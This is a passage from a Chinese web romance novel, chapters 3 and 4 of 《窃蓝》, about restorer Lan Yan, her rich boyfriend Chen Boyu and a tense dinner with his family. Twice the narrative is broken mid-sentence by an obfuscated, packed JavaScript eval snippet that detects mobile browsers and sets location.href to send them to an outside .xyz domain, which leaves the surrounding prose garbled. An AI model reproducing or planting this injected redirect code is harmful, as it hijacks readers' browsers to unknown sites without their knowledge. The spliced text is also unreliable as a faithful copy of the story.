《窃蓝》 3.chapter03 “吃点什么?”蓝烟问陈泊禹。 “我点了外卖。” 这小区以前是某国企的家属区,附近不乏好吃的,但都是苍蝇馆子。 蓝烟以前带陈泊禹去过一次,他整个人局促得无处下脚,坐立难安,仿佛空气里都带有某种致命病菌。 陈泊禹家境优渥,陈家实业起家,在整个南城,乃至长江以南地区都排得上号。 他本质倒不是嫌贫爱富,只是养尊处优惯了,不适应太过市井的地方。为了不辜负蓝烟的心意,那天他吃得也算配合。 只是从那以后蓝烟就不再做此尝试,谈恋爱讲究求同存异,她没有把一点小事上升到“爱与不爱”这种高度的癖好。 蓝烟住在六楼,没电梯,有时候忙起来缺少运动,爬楼也算聊胜于无的弥补。 进门,蓝烟叫陈泊禹坐,她先去洗个澡。 洗完出来,陈泊禹的外卖也到了,似乎是什么红酒酸奶油牛肉意面。 有次帮忙丢垃圾,蓝烟不经意看见外卖袋子上钉着的小票,小少爷一顿外卖三百块,而她一周的伙食费可能也不过四百。 蓝烟是物欲非常淡的人,不然大可以靠脸吃饭,而不必从事毫无钱途的书画修复这一行。她对别人的财富没有什么占有欲,也从来不会根据对方的财富地位,来决定自己为人处世的态度。 但阶层差距并不是一件容易消解的事,只是换了更隐蔽的方式蛰伏于他们的关系里。 陈泊禹将餐盒打开,取出长筷,“要再吃点吗?” 蓝烟摇头:“我已经刷过牙了。” 蓝烟头发半干,走到陈泊禹身边,把一旁的立式电风扇打开,拖出一张椅子坐下,支起双腿,脚蹬在椅子边缘,拿起手机,开始处理微信消息。 吹头发、陪人吃饭、回复消息……三不耽误。 陈泊禹看着她笑。 蓝烟瞥他,“笑什么?” “笑你很可爱啊。” “……” 陈泊禹穿着一件浅灰色的T恤,肩膀平阔,把简单的版型也撑得很好看。 他吃东西非常斯文,配合一张俊逸清扬的脸,足以将她的出租房升格为高级法餐厅。 “上次送给你妈妈的生日礼物,她喜欢吗?”蓝烟问。 “……嗯。很好啊,她很喜欢。” 蓝烟从手机屏幕上抬眼,看向陈泊禹。 如果说,信口胡说有段位,梁净川是王者级别,那陈泊禹就是青铜级别。 “你如果不告诉我她哪里不满意,我下次没法改进。” 陈泊禹顿了一下,笑说:“礼物很多,其实她还没来得及全部拆完。” 这一句也是谎言。 但蓝烟懒得追问了,他不说实话,肯定有他的理由——也不难猜,无非是觉得说出来会伤害她的自尊心。 一份外卖,陈泊禹只吃掉一半,剩余的全都扔了。 把外卖袋放在门口后,他走进来问道:“有冰水吗?” “有。忘记给你拿了。”蓝烟起身往厨房走去。 冰箱门打开,淡白的灯光照在她脸上,显出一种洁然的疏离感。疏离几乎是蓝烟漂亮的核心特质。 陈泊禹看了一瞬,不自觉地朝她走过去,从背后挨近,把下巴往她肩膀上一靠, “烟烟。” “嗯?” “搬去我那里住吧。” 蓝烟高中和梁、陈两人不同校,但也从同学那里辗转听说过,四中有两个大帅哥,气质迥异,一冷一暖,任君挑选。 人在传八卦的时候,什么鬼话都能编出来。 蓝烟讨厌梁净川,一开始连他身边的人也看不顺眼,但几次碰面,陈泊禹对她都是笑脸相迎。 她暂且放下成见,客观评估了一下他这个人,承认那些鬼话不算夸张,他长相上与梁净川伯仲难分,性格却比梁净川好了不止一点半点。 后来梁净川和陈泊禹去了大学,跟她一个高中生几乎没什么交集;再后来她北上求学,两年后陈泊禹又去了国外…… 她真正跟陈泊禹搭上线,是研三的下学期。 那时她论文预答辩结束,待在北城没什么事,就提前进了缮兰斋实习。 五月底梁净川过生日,回了趟南城。生日在家里过,他把陈泊禹也叫上了。 那天陈泊禹频频找她搭话,散场时问她要了微信。之后时不时跑去缮兰斋,到她面前晃悠,请她吃饭,约她逛展…… 她的老板兼师傅,也即缮兰斋的主人褚兰荪当然不高兴,一个外人,天天跑来别人工作的地方算什么回事。 小少爷大手一挥,给工作室捐了一台断层扫描仪,一台荧光光谱仪,从此之后,院子门口的保安都开始对他笑脸相迎。 持续了将近三个月,有天下午,她坐在裱墙前给一幅画全色,一连两小时没怎么挪窝,等天光不大好了,回神时,才想起来旁边还有个人。 陈泊禹靠着窗户,一直在看她,她转头,正好对上他的目光。 他笑笑说:不知道为什么,看着你工作会想到“永恒”这个词。 她不清楚自己是被这句话打动,还是被他那时候不同于平日和煦开朗,而是略显疲惫和柔软的笑容打动。 蓝烟顿了一下,“这套房子我刚续租……合同签了三年。” “违约金很高?” “不是……”蓝烟斟酌道,“这里离工作室近,我早上想多睡一会儿。” “我们可以重新找个你上班近的地方。” 蓝烟不说话。 陈泊禹手臂抱住她的腰,往后搂了一下,抱得更紧,脸埋在她的肩窝,声音有些含混:“后面要准备融资的事,会很忙,我不想经常见不到你。” “我不加班可以过去找你吃饭。” “……不够。” 冰箱发出警报声。 蓝烟拿出水瓶,阖上了冰箱门,坦诚地说:“我暂时还不习惯跟另一个人住在一起。” “我们在一起马上两年了。” “……抱歉。” 这是第二次提出同居被拒绝,陈泊禹当然免不了有些失望,但没再说什么。 蓝烟转过头。 对视片刻,陈泊禹问:“去我那里吗?” “我洗过澡了,不想再出门。” “好吧。” 卧室空调上了年头,制冷效果不大好,房东在国外,叫蓝烟自己找人换,费用全额报销。她不怎么怕热,凑合也能用,加上忙起来没时间,拖来拖去夏天都过去一半了,好像更没有更换的必要。 陈泊禹出汗太多,皮肤黏黏糊糊挨在一起的感觉让他很不喜欢,因此他没有太投入,一结束便立即起身去淋浴。 片刻后一身清爽地回到卧室,坐在床边,伸手捋一捋黏在蓝烟脸上的发丝,再度问:“真的不考虑吗?” 他好像心情变好了一些,这次提议的语气没再那样郑重。 蓝烟侧躺着,脸埋在枕头上,淡淡地“嗯”了一声。 陈泊禹轻抚她的额头,温声问:“不去洗澡?” “……待会儿。” “怎么了?”陈泊禹察觉到她好像有些不高兴。 “没事。”蓝烟拂开他搭在肩头的手,起身。 计较他因为怕热,结束以后没有抱她这件事,好像有点小题大做了。 蓝烟从浴室出来,陈泊禹人也到了客厅,坐在沙发上回复微信消息,空调被他开到了一个很低的温度。 “你回家去睡吧。”蓝烟说。 “没事。我睡沙发。” “我还是建议你回去。” 陈泊禹立即抬头看她。 大部分的坏情绪在蓝烟这里都不会留存太久,可能这也是很多人觉得她有点冷漠的原因之一,譬如吵架,对方还沉浸在情绪里,她却已经翻篇了,多少显得有点无情。 而这种翻篇后的冷静,也常会被对方解读为某种冷战的信号。 “烟烟,我过来不是为了……”陈泊禹表情有些复杂,蓝烟这样赶他走,显得他过来只为了跟她上-床一样。 “我知道。我没有这样揣度你,只是卧室很热,客厅沙发很短,你会休息不好。” 陈泊禹最后还是回去了。 蓝烟躺在床上,一边划拉手机屏幕挑选空调,一边盘算后面几天的安排。 加急委托要赶紧做出来,这个周末肯定没空休息…… 她有点心烦,手机丢到一边,懒得看了。 / 陈泊禹陡然地忙起来,两个人一周就见了一次面,蓝烟更换空调的事情,也就一拖再拖。 信件修完,做了一个镜片形式的装裱,汤望芗微信上看过照片,很满意,说下午亲自来取。 蓝烟拾起被耽搁了几天的上一副送修件,那是民国画家仿的宋人山水图,之前只做完了洗揭补全的前两步,画心背后整体贴了一张新命纸,尚有百来处大小不一的缺口和折痕等待处理。 这画破损严重,缺口遍布,整补更为合适。 画放在长逾三米,髹朱红大漆的裱画桌上,蓝烟开始最耗工夫的修补工作。 先用手术刀将补纸刮去多余部分,以契合缺口形状,再细致地把1毫米左右的搭口,刮出平缓的坡度。 暑期有人在实习,裱房里比平日热闹,人声喁喁,蓝烟浑然投入,丝毫不受打扰。 直到负责客户接待的蓉姐上来,告诉蓝烟说汤望芗人已经到了,在楼下接待室里。 “汤先生看过了镜片实物,说修得特别好,想当面跟你道谢。”蓉姐说。 “好,稍等我马上下去。” 蓝烟把手里的这张补纸做完,洗了手去往一楼接待室。 同汤望芗一同过来的是他的孙女,两人并肩坐在沙发上,细看镜片。 蓉姐通报一声,两人抬头,汤望芗立即站起身来,朝蓝烟伸手,笑说:“谢谢你啊,修得真好。” 蓝烟快走两步,跟汤望芗握了握手,“不客气,受人之托忠人之事。” “可惜你师傅不在,不然我一定当他的面夸夸你,这么快就能独当一面了。” 汤望芗是缮兰斋的长期客户,之前送修过一个四联的通景条屏。 那是个大活,蓝烟的师傅褚兰荪一个人干不完,叫了蓝烟做助手,其中有一条半基本是蓝烟在褚兰荪的指导下一个人修完的。 正因为上次的事给汤望芗留下了好印象,这次褚兰荪北上开讲座,人不在南城,汤望芗才把书信修复一事托付给了蓝烟。 蓝烟被夸得不知如何接话,蓉姐适时说道:“那也得感谢您给年轻人练手的机会,以后再有什么活儿,就不用只靠褚老师一个人了。” 汤望芗笑说:“放心,活管够,我那什么都缺,唯独不缺破烂。” “那您也别一件一件送了,干脆一车拉来得了,让我们都开开眼界。” 汤望芗哈哈大笑。 汤望芗的孙女笑说:“我看缮兰斋离了谁都可以,就是离不了蓉姐。” “回头我就让褚老师把这儿改名缮蓉斋。” 玩笑过后,蓉姐拿来验收单,汤望芗签字验收,正式接收镜片。 剩余事情与蓝烟无关,打过招呼之后,她便仍然回到二楼裱房继续工作。 回到裱画桌前,没过五分钟,蓝烟肩膀被人轻拍了一下。 她吓了一跳,回头一看,是陈泊禹。 “今天怎么有空过来了。” “接你下班。” “今天不用见投资人?”蓝烟一边说,一边把头低下去,继续手上的工作。 “我大哥和大嫂回来了,晚上去我们家里吃?” “什么时候回来的?” “早上。” “怎么现在才告诉我。” “抱歉,开了一天的会,结束了才想起来——你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511651|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上有别的安排了?” “没。我没洗头。” 陈泊禹笑说:“没事。他们注意不到这个,注意到了也不会在意的。” “一定要去吗?” “我爸妈都在,肯定还是去了更好。” 蓝烟没作声,隔了会儿才说:“等我收个尾。” 陈泊禹说好。 手上的这一张补条做完,蓝烟收工,把没修完的画和补料做了保存处理,洗干净手,摘掉围裙。 张眼一望,看见了正在指导实习生染纸的同事周文述,出声道:“文述。” 周文述“哎”了一声。 “我先走了,你走的时候记得关灯锁门。” “好嘞师姐。”周文述说着投来一眼,看见了陈泊禹,立马玩笑道,“我说师姐今天走得这么早,原来是姐夫过来接人了。” 陈泊禹笑着跟周文述打了声招呼。 缮兰斋是文物修复大师褚兰荪老先生的个人工作室,规模不大,人员也不怎么流动,长年累月都是几个熟面孔,彼此间比起同事更似朋友或者家人。 陈泊禹常来,所以包括师傅褚兰荪在内,大家都认识他。 裱房宽敞,放了裱画台、拷贝桌、洗画桌等基本设备,头上悬吊木架,晾着若干染过色的宣纸。 蓝烟和陈泊禹并肩往外走,习惯性地去瞧一瞧新来的几个实习生手头的活儿。 褚兰荪这几天不在,指导的事主要由周文述负责,蓝烟有空也会搂上一眼。 一张裱画台前,两名实习生镊子和手指并用,小心翼翼地揭取画心背后的命纸。这一步端看细心与耐心,蓝烟见他们操作还算规范,没有出声,继续往前走。 另外一张桌上则惨不忍睹:潮湿裱台上画心乱飘,处处都是裂缝,负责它的实习生,正拿指腹一点一点地拼接碎片,上面拼好了,下面的却缝隙又扩大了。 “洗的时候没固定好吧。”蓝烟说。 实习生一霎耳朵都红了,窘然道: “嗯。” 蓝烟找出一支毛笔洗净,走到他身边去,拿笔尖凑拢碎片一角轻推,拼合裂缝。 一边操作示范,一边轻声提醒:“褚老师在的时候,千万别犯低级错误。” “知道了,师姐。” “给你们练手的画便宜,犯错也没事,都是这么过来的。” 实习生连连点头。 陈泊禹知道这事儿有多耗费工夫,见蓝烟的示范还没有结束的意思,抬腕看了看手表,提醒道:“路上堵车,我们还是赶紧出发吧,让大哥他们等久了不好,而且……” 蓝烟动作没停:“知道。马上。” 陈泊禹目光越过两人的肩头,看向裱台上的画心,那些形状不规则的残片,简直像是地狱难度的拼图游戏。 一分钟过去,陈泊禹忍不住再次提醒:“烟……” “我说了马上。 ” 实习生倒有些慌了,忙说:“师姐你先……” “没事。”蓝烟轻声说。她手上的动作始终不疾不徐。 这批实习生刚来的第一天,就对工作室的主要成员有一个基本印象,都说蓝烟师姐高冷,但似乎只针对私事,凡有专业问题向她请教,她从来巨细靡遗,倾囊相授。 催不动,陈泊禹只能耐着性子。 他有时候难免会嫉妒蓝烟的工作,因为非常确信,这份工作为她所爱,她对其投入了远超其他的专注、精力和热情。 而他作为她的男朋友,却似乎并不能享此殊荣。 三分钟过去,画心的一角拼完,蓝烟放下毛笔,“慢慢来。加油。” 实习生赶忙点头。 陈泊禹上前一步,伸手揽住蓝烟的肩头往外走,好像生怕她又被什么事绊住。 小楼一共三层,没有安装电梯。两人步行在楼梯间里,陈泊禹说:“我刚进来看见一个人,好像是汤望芗?” “嗯。他就是我这次加急的客户。” “汤先生好像不怎么对外活动了。” “他身体不是很好。” “他跟你们工作室往来多吗?” “我们跟很多收藏家都有往来。” 陈泊禹点点头。 说话间,已到小楼门口。 车位上没看见陈泊禹的保时捷,倒是看到了梁净川的那辆SUV。 “……梁净川也去?” “嗯。大哥说也想顺便跟他聊聊。我车送去洗了,正好蹭蹭他的。” 两人走到车边,陈泊禹拉开后座车门,蓝烟躬身坐上去,往前扫了一眼。 手臂搭在方向盘上的梁净川不紧不慢地支起了身体,好像并不是很情愿叫他们两人蹭车。 陈泊禹跟在蓝烟后面上了车,把门关上。 梁净川发动车子,问道:“直接过去?” 陈泊禹有些莫名:“还要去哪儿?” 梁净川看向车内后视镜里的蓝烟,停了一瞬,说道:“换衣服。” 陈泊禹看了看蓝烟,“不用,只是家宴,没这么讲究。” 梁净川不再说什么,仿佛只是尽个提示的责任,并没有什么所谓。 出去是条单行道,驶到尽头,才汇入拥堵的晚高峰。 蓝烟摸出手机,点开地图APP,问陈泊禹:“阿姨喜欢吃芝士蛋糕是吗?” “对。”陈泊禹笑说,“你还记得。” 蓝烟划拉手机屏幕,在开车去往陈家的必经之路上,找到一家很拿得出手的糕点店,便开口道:“麻烦先在芝味记停一下。” 驾驶座上的人,没有一丁点反应,仿佛没听到一样。 蓝烟只好稍稍抬高声音,重复一遍。 还是没反应。 蓝烟漂亮的眉毛稍稍拧起,语气没了一贯的平静:“梁净川。” 梁净川这才出声,懒洋洋的腔调:“哦,原来你是在跟我说话。” “……” 4.chapter04 陈泊禹怕兄妹两人掐起来,立即出来平息事端,笑说:“净川你手机给我,我来导航。” 静默须臾,梁净川说:“不用。知道路。” 依照今日堵车的情况,大约还要半个多小时才能开到。 陈泊禹低头,轻声问蓝烟:“累不累,要不要歇一会儿?” “嗯。”蓝烟脑袋一歪,枕在陈泊禹肩膀上,伸手摸了摸提包内袋,想起来蓝牙耳机落家里了。 陈泊禹和梁净川没再说话,可能是怕吵到她,她其实不困,只因为有轻度干眼症,眼睛容易累,所以需要闭眼休息。 车子安静地行驶了一会儿,音响里突然响起歌声。 前奏响了一秒钟她就知道是什么歌,《Eternal Flame》,她很喜欢的一首,在歌单里躺了十来年,地位岿然不动。 她微微抬眼,话到嘴边又懒得讲了。 算了,看在歌好听的份上,“晦气”就“晦气”吧。 车先开到了芝味记。蓝烟和陈泊禹一同下车,去店里挑芝士蛋糕。这店主打新鲜,每两个整点会有一批现烤的出炉,他们等了五分钟,正好赶上六点的这一波。 买完蛋糕出去,路边不见了梁净川的车的踪影。 陈泊禹打了个电话,梁净川说到附近买东西去了,马上回来。 五分钟后,梁净川把车开了回来。 上车,陈泊禹问:“买什么去了?” “果酒。” 陈泊禹笑:“我去你家蹭过多少次饭了,也没有像你,次次带礼物。” 梁净川说:“那不一样。” “怎么不一样?” “那得你自己悟了,陈总。” 陈泊禹:“……” / 车开到陈家,天色暗了下来,越过树荫,看见屋里灯火通明。 梁净川正要把车开进去,陈泊禹伸手指了指,“先开去后门。” 车继续往前开,在前方拐个弯,绕去了大屋的后院。 还没完全停稳,陈泊禹已拉开车门跳下去,拉住蓝烟的手腕,“走。” 蓝烟莫名:“做什么?” “换衣服。”陈泊禹转向梁净川,“稍等会儿,换完了我们再从正门开进去。” 梁净川没说什么,“嗯”了一声。 下了车,蓝烟被陈泊禹牵着手,从门里进去。 陈家是冖字结构,他们穿过后院,走进了建筑右侧的一道门里,里面寂无人声,一道长走廊延伸至前方,连通主屋。 陈泊禹打开了右手边的一扇门,似乎是客用套房,有个年轻女孩等在里面,脚边立了两只印着某奢侈品牌logo的纸袋,和一个可移动的化妆箱。 陈泊禹对女孩说:“你帮忙换下衣服,头发……头发我反正看不出来没洗,你也简单帮忙弄一下吧。” 女孩点头:“要化妆吗?” “我觉得不用,素颜就很漂亮了。” 女孩把目光移到蓝烟脸上,端详一瞬,点头:“确实。我把眉毛稍微修一下吧,再补点口红,有气色一点。” “你看着弄。”陈泊禹抬腕看表,“最多十分钟。” “好好好,放心。” 陈泊禹看向蓝烟,温声笑说:“我爸妈真不是以貌取人的人,但如果换衣服让你自在一点,我肯定会满足你。这是我一个朋友经常合作的造型师,你有需求尽管跟她提,我去旁边房间等,有事发消息。” 蓝烟稍有怔然,点了点头。 天色愈晚,渐变至更深沉的群青色。 梁净川屡次看时间,十分钟后,目光越过被爬藤植物覆盖的铁栅栏,终于看见蓝烟走了出来。 换了长裙,黑色方领,长度及小腿,裙身微蓬,剪裁简约,晚宴或者酒会都很合宜。 她个子高,气质又清冽,很撑得起。 不得不承认,陈泊禹眼光很不错。 选衣服选人都是。 也是,何必他多余操心,这样让人无法错目的人,陈泊禹又怎会让明珠蒙尘。 陈泊禹牵着蓝烟的手,步履飞快。 两人上了车,车门阖上,梁净川嗅到一股香水味。 馥郁不失冷冽,很符合蓝烟这个人给人的第一印象。 她本人应当是对这些东西没兴趣的,身上唯一的香气就是洗发水,还常常会被清凉油和膏药贴的气味盖过去。 梁净川往镜中看了一眼。 名字里带“烟”,长相却缺乏一点烟火气。 这衣服和香水,好像把她身上的最后一点热气也剥夺了,隔水隔山地端坐在那里,像是一尊玉砌的雕像。 车开到前方大门。 陈家大宅三层挑高,金碧辉煌,今日更因陈家长子的归来而熠熠生辉。 陈泊禹的哥哥的名叫陈泊尧,长他七岁。从名字就能看出,陈家对两兄弟寄予厚望,而陈泊尧作为他们这一辈年龄最长的大哥,确实不负众望,藤校毕业以后去了顶级投行工作,此后又去了一家私募基金,全面负责亚太地区的项目孵化。 要说陈泊禹最佩服谁,他大哥绝对在他名单的第一位。 灯火煌煌,沙发上数道目光齐齐望来。 陈泊禹快走两步,挽着蓝烟到跟前,先热切地跟陈泊尧打招呼:“哥,你回来了。” 陈泊尧笑着伸手拍了拍他肩膀,“是不是瘦了一点?” “最近忙,饮食不规律。” 陈父陈母也从沙发上站起身,蓝烟立即同他们打招呼。 陈母唐佩玲年逾五十,但保养得当,看着不过四十来岁,珍珠项链托出一张如满月皎洁的脸,妆容精致,找不到一条明显的皱纹。 她脸上带笑,打量人时目光稍一扫过,完全不引人察觉,她颔首应了蓝烟的招呼,视线却是越过她,看向站在后方的梁净川,“路上堵吧,净川。” “有一点。”梁净川笑说,“蓝烟记得阿姨您喜欢吃芝士蛋糕,特意让我绕路,去买了一点她常吃的那家的新品,请您尝尝鲜。” 蓝烟稍有错愕,因为听出来梁净川这话其实是在帮她搭台阶。她没空细想,先把手里的袋子递了过去。 唐佩玲微笑说:“谢谢,有心了。”自己并不接,唤来一个保姆,指挥她把点心拿去冰箱里放着。 陈父陈永茂适时招呼:“去沙发上坐一下吧净川,等人到齐了我们就开饭。” 陈泊禹问:“还有谁没到?” “又盈。” “又盈也要来?” “嗯。她说好久没见大哥了,过来蹭个饭。” 陈又盈是陈泊禹的堂妹,三叔的女儿。蓝烟跟她打过几次交道,脾气骄纵的大小姐,眼高于顶,目下无尘。 虽然从未明说过,但蓝烟知道陈又盈不喜欢她,觉得她有点“装清高”,但碍于她是梁净川的妹妹,所以跟她保持了表面上的客气——陈又盈对梁净川有好感,大家都看在眼里。 沙发上陈泊尧的妻子站起身,给三人腾位置。 陈泊禹让蓝烟坐,自己只挨着她,靠坐在扶手上,侧身与陈泊尧聊天。 两兄弟长相肖似,都遗传了唐佩玲的优越五官。陈泊尧作为大哥,从小到大的绩优生,而今事业有成,举手投足更显得从容一些。 陈泊禹笑问:“哥,你这次回来多久,是不是过完年再回去?” 陈泊尧说:“差不多吧。” “那有空去我们公司实验室看看?” 陈泊尧笑说:“一回来就聊工作啊?让我歇几天缓口气。” 陈泊禹研究生毕业之后,在自家公司干了半年,出来自己创业,失败过一次。现在成立的这公司叫“清源创生”,做新型生物活性原料的研发与生产,在梁净川加入之后,做出了很可观的成绩。 公司的天使轮是陈家和陈泊尧以个人名义投资的,陈泊尧占了六成,因此算是公司不择不扣的大金主。但他平常工作忙,基本不怎么过问公司的经营状况。 陈母唐佩玲指挥保姆过来看茶,此时笑着附议:“就是,今天谁都不许聊工作。” “好,我们换个话题。”陈泊禹把目光转向坐去了对面的大嫂,笑说:“云姐,你跟蓝烟应该是第一次见面对吧?” 大嫂叫袁千云,她不喜欢家里的弟弟妹妹叫她“大嫂”,大家又不好意思直呼她的英文名,于是统一了一个“云姐”的称呼。 袁千云抬头看过来,点了点头。 陈泊禹说:“我看你朋友圈,最近去上文物鉴定的课了是吗?” “那个没事儿上着瞎玩的。” “蓝烟是做文物修复的,你出去逛街没伴的话可以约上她一起,你们肯定有话聊。” 蓝烟:“文物修复和鉴定是两个领域……” 陈泊禹:“你总比我们一般人了解。” 袁千云笑容很淡:“好啊,就怕打扰蓝小姐。” 陈泊禹:“她周末一般都休息——你们要加一个微信吗?” 袁千云:“……嗯。” 陈泊禹:“那我拉个群。” 蓝烟没说话,屈身端起茶几上水杯喝了一口。 片刻,手袋里的手机振动了一下。 陈泊禹说:“群建好了。” 袁千云:“嗯。我现在加。” 蓝烟把手机拿出来,微信上多出一个好友申请,她点击通过。 袁千云把手机一锁,丢在茶几上,站起身,笑说:“你们聊,我去透透气。” 又闲聊一阵,唐佩玲过来说陈又盈马上就到门口,可以先上桌了。 大家移步餐厅。 高门大户的饭吃起来没那么容易,座次都有讲究,蓝烟懒得费心研究,一切听从安排。 他们落座后不久,门口传来笃笃笃的脚步声。 唐佩玲指挥保姆给大家盛汤,侧头一听,笃定到:“一定是又盈。” 陈泊尧笑说:“我们这么多兄弟姐妹,也就她一个野丫头是这种风格。” 下一瞬,门口便走进来一个光鲜夺目的年轻女人,声音清脆地娇嗔:“大婶婶,你们开饭都不等我!” 唐佩玲笑说:“哪有,都在等你呢。” 陈又盈放包洗手,朝餐厅走来。 圆桌还有个空位,在蓝烟身旁。陈又盈瞟了一眼,没去坐,脚下拐弯,走过去圈住了陈泊尧的肩膀,撒娇道:“大哥,我想挨着你坐。” 陈泊尧的一侧坐着袁千云,另一侧坐着梁净川。 大嫂袁千云看了看,不好劳动客人让座,便要起身。 梁净川却先了一步,微笑道:“您坐,我来换。” 不过小事,大嫂没争,颔了颔首,仍旧坐着了。 蓝烟身侧空位椅子被拖动,酸枝木椅,很具分量,椅腿在大理石地砖上拉出轻微声响。 梁净川坐了下来,保姆将他原本位子上的餐具挪到他跟前。 晚饭正式开始。 此时已过七点半,蓝烟难得饿得胃里空叫。 汤碗在手边,大家都没动,等着陈泊禹父亲陈永茂发言。无非相聚不易、互襄互助一些陈词。 讲完以后,陈永茂叫大家动筷,一时才有碗筷碰撞的轻响。 蓝烟不是第一次跟陈泊禹父母吃饭,但无一例外都像在受罪。不过好在今日的主角不是她,不必打起精神应付。 话题几易,笑语欢声。 圆桌中心转动,梁净川每次夹菜,视线总会从身旁的人身上掠过。 他知道蓝烟不是能受委屈的人,她此刻却有种安然的无所谓。 不知道是真不在乎,还是为了融入陈泊禹的家庭,打碎牙往肚里吞。 梁净川的走神终究被注意到了,不知是谁开口:“净川你今天怎么这么安静?” 梁净川回神,笑答:“菜好吃,我专心吃菜呢。” 陈母唐佩玲笑:“你这张嘴。” 陈泊尧说:“是我们只顾聊家里的事,净川插不上话。” 陈父陈永茂:“净川在我们家跟在他自己家是一样的。” 梁净川笑说:“是。承蒙叔叔阿姨一直照顾。” 唐佩玲又说:“净川你跟泊禹同岁是吧?” 梁净川点头。 “谈女朋友了吗?” “没有。” “那要不要给你介绍对象?我们族里的女孩子,除了又盈这个窜天猴,别的都是才貌双全……” 陈又盈皱鼻嗔道:“大婶婶!” 大家又哈哈大笑起来。 梁净川亦不失笑容:“还没立业,不好耽误别人。等我和泊禹事业做成功了,一定请阿姨亲自为我把关人生大事。” 唐佩玲:“你这个人,怎么跟鱼一样,滑不溜手的。” 气氛活跃至此,陈永茂提议大家一起碰一杯。 陈又盈发现了梁净川杯子里的竟然是果汁,嚷着要让他换成红酒,他坚持等会儿还要开车不便饮酒,没人能劝动,只好由他了。 杯子碰了一圈,梁净川将其放下时,察觉到蓝烟瞥了他一眼。 他转过头,赶在她收回目光时,捕捉到了这一眼的意思:好装。 蓝烟本科和研究生都是在北城读的,她大三那年,梁净川获得了TOP高校的直博机会,去了北城。 两人虽同在北城,却不同区,地铁也要一小时,本来就互相不顺眼,自然不会有什么交集。 梁净川倒是联系过她,冷不丁地会给她发条消息,叫她出来吃饭;或者说蓝骏文联系了他,让他给她送感冒药。 总归见面次数寥寥,大多数的会面,还是发生在节假日的家里。 蓝烟不知道他在什么时候修炼出了这样一副社交面具,圆融得滴水不漏,配合一副金昭玉粹的皮囊,轻易能博人好感。 可一个人的本质怎么会轻易改变,她比谁都清楚,这副面具之下的梁净川,冷淡傲慢又欠揍。 / 这样一顿家宴,吃了快一个小时。 大家移步客厅,饮茶解腻。 蓝烟来了一通工作电话,室内吵,她出去后院接听。 通话有些长,结束之后,正要进去,看见前方露营椅有个人在抽烟,星点红焰,青烟缭绕,似乎是陈泊尧的妻子袁千云。 蓝烟出声:“是不是打扰你了?” 袁千云:“没有。我后来的。” 蓝烟点了点头,顿一下,又微笑说道:“刚刚……” 袁千云眉毛立即拧起来,开口换成了英语,噼里啪啦地说了一串什么。 随即将没抽完的烟,用力地摁进随手带的烟灰缸里,从椅子上起身,不再看她,大步朝门口走去。 蓝烟英语水平只够日常交流,所以袁千云这番话她听得很费力,但勉强理解了大概,意思是她在国内不会待很长的时间,没空陪小孩子玩“交朋友”的过家家游戏。 她可能误解蓝烟是要借着刚加上微信的热乎,跟她拉近关系。 话非常不客气,似乎一点也不怕因此得罪陈泊禹。 蓝烟立在原地,好一会儿没动。人在面临劈头盖脸的指责时,第一时间都是懵的。 过了一会儿,蓝烟转身。 却瞬间凝住表情。 檐下的厨房窗边,立着一道身影。过于熟悉,她一眼认出,那是梁净川。 他手里端着一只水杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“感谢您的招待,明天早起有工作,就不继续叨扰了。” “客气。以后常来玩。” 唐佩玲把人送到门口,蓝烟叫她留步。 唐佩玲看向陈泊禹:“泊禹你喝了酒,安排司机送一下。” 陈泊禹点头:“知道。” 司机刚送袁千云出去了,说还要一会儿才回来。 陈泊禹握住蓝烟的手臂,低声劝说:“回屋里坐一会儿,等车来了再走吧。” “不用,我自己打车。 陈泊禹耐心哄道:“外部车进不来,从这走到大门口一公里多。” 蓝烟说没事,仿佛打定了主意必须马上离开了。 陈泊禹难免蹙眉,语气却还算温和:“和我说说,又是哪里让你不开心了?” 又。 蓝烟顿住脚步:“陈泊禹,你应该知道我非常讨厌临时的安排。” “我不是都安排你换衣服了吗?而且我说过,我爸妈并不是以貌取人的人……”陈泊禹抬手按住额头,叹了一口气。 叹气的意思很明了:你怎么这么难取悦。 “我有时候很没信心,烟烟,你是真的想跟我走下去吗?住到一起你不答应,来我家里吃饭,你也对我的家人毫不热情。我刚刚找机会让你跟我大嫂接触,你也……” “你是真的看不出来,她并不想加我的微信吗?” “她加了目的不就达到了吗。烟烟,如果做任何事情都是情绪先行的话,你会很难受。” 蓝烟沉默一霎,“你可以保留你的观点,我也并不想跟你争输赢。” 说着,轻挣一下,把手臂从陈泊禹手里挣脱出来,飞快往前走去。 她个子高挑,步伐也快。 陈泊禹赶紧快走两步跟上去,刚要伸手去揽蓝烟的肩膀,黑暗里“嘀”一声,响起车子解锁的声音。 陈泊禹回头望去,是梁净川正走下台阶。 陈泊禹:“你要走了?” “嗯。回公司有点事。” 陈泊禹看了看已快要走到门口的蓝烟,无奈道:“帮我送送?” 又向着门口喊道:“烟烟,你坐你哥的车回去。” 背影没有停,也不知有没有听见他的话。 陈泊禹叹声气,只得对梁净川说道:“麻烦你了,我等她冷静点了再去找她。” 梁净川:“我看她挺冷静的。” 陈泊禹转头看梁净川。 梁净川声音里没什么情绪,不大能听出来这句话是什么语气。 “走了。”梁净川说,“送到了给你发消息。” 陈泊禹点头:“谢谢。” 蓝烟当然听见了陈泊禹的话,但比起还要再打起精神与梁净川针锋相对,她宁愿步行一公里到门口去打车。 近光灯从身后照过来,一阵轮胎碾过路面的声响,车在她身边停下。 声音自驾驶座传来:“上车。” 蓝烟没有搭理他。 “后面来车了,堵路上没公德,快上来。”梁净川淡淡地说。 蓝烟犹豫一瞬,还是拉开了车门。 扣上安全带,车子启动,她背靠座椅,始终沉默。 直到车开出了别墅区,她忽说:“你是不是听到我跟陈泊禹吵架了。” 